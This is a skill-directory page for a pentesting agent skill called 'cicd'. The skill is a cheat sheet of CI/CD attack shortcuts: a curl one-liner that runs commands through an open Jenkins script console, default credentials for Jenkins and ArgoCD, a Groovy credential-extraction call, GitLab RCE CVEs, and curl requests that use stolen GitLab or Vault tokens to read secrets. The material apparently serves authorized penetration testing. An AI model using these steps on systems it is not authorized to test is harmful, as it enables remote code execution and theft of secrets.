s0ld13rr/pentestcode/cicd

Claude Code and agent skill by s0ld13rr/pentestcode

Trust tier 2
  • community
LLM review pending
Source check pending

Checking that the SKILL.md file is still in the repository.

CI/CD gotchas — default creds, instant-RCE paths, secret leaks in logs. Use when a CI/CD service is found. Triggers - Jenkins, GitLab, ArgoCD, Vault, pipeline, runner token.

Install

npx vskill@latest install s0ld13rr/pentestcode/cicd

SKILL.md

CI/CD — Gotchas & Quick Wins

Jenkins = RCE if /script is open

curl -d 'script=println+"id".execute().text' http://TARGET:8080/script No auth needed if Groovy console is exposed. Check /script FIRST. Default creds: admin/admin, admin/password, admin/jenkins. Credential extraction (authenticated): Groovy → SystemCredentialsProvider.getInstance().getCredentials().

GitLab — version-dependent RCE

  • CVE-2021-22205 (11.9–13.10.3): RCE via image upload (ExifTool)
  • CVE-2023-7028: Account takeover via password reset

Check version: curl -s TARGET/api/v4/version Stolen API token → curl -H "PRIVATE-TOKEN: ..." .../api/v4/projects?membership=true → repos/snippets for secrets.

ArgoCD default creds

Default: admin / pod name (argocd-server-<hash>). Often unchanged.

Vault — check seal status first

curl TARGET:8200/v1/sys/health — unsealed + initialized = live secrets. With root token: curl -H "X-Vault-Token: ..." TARGET:8200/v1/secret/data/

Where secrets leak

  • Build/pipeline logs (plaintext env vars, tokens, passwords)
  • .env, docker-compose.yml, Jenkinsfile, .gitlab-ci.yml in repos
  • Runner/agent tokens in pod environments
  • Registry credentials (Docker Hub, ECR, GCR)

Security

  • Security scanPassed, 96 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

See the full security report

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

Popularity

7-day trend score
0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/s0ld13rr/pentestcode/cicd/badge)](https://verified-skill.com/skills/s0ld13rr/pentestcode/cicd)

Something wrong with this skill or its page? Tell us.